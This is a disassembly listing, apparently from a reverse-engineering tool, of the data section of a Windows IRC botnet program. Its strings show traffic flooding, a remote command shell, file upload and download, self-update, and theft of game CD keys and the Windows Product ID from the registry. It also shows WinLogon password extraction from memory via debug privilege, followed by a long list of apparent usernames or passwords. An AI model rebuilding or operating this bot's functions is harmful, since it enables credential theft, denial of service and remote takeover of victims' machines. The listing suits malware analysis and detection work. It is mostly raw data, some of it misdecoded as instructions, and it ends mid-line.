dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0) dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0) dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0) dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0) dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0) dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0) dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0) dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0) dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0) dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0) dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0) dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0) dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0) dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0) dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0) dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0) dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0) dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0) dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0) dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0) dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0) dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0) dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0) dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0) dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0) dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0) dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0) dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0) dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0) dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0) dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0) dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0) dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0) dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0) dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0) dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0) dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0) dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o align 4 asc_4373F4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A24 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A3C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- mov al, ds:38004387h lodsb inc edx add [ebx+eax*8], al inc edx add [eax-3Eh], bh inc edx add [edi+eax*4-5587FFBDh], bl inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add ah, dl lodsb inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_438798 dd offset dword_438794 dd offset dword_438790 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438780 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset word_438768 dd offset dword_438764 dd offset aI_0 ; "I" dd offset dword_438760 dd offset dword_43875C dd offset aA_0 ; "A" dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset dword_43872C dd offset dword_438728 dd offset word_438724 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384BC dd offset off_4384B8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438324 dd 